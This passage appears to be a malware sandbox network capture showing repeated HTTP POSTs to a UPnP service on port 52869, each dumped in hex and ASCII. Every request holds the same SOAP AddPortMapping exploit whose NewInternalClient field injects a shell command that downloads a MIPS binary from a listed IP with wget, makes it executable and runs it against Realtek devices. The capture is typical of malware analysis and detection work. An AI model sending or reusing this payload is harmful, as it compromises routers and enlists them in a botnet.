                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:35.895968914 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:12.758984089 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      119192.168.2.154812845.192.218.20952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:02.340579033 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:06.456826925 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:12.600739956 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:24.632265091 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
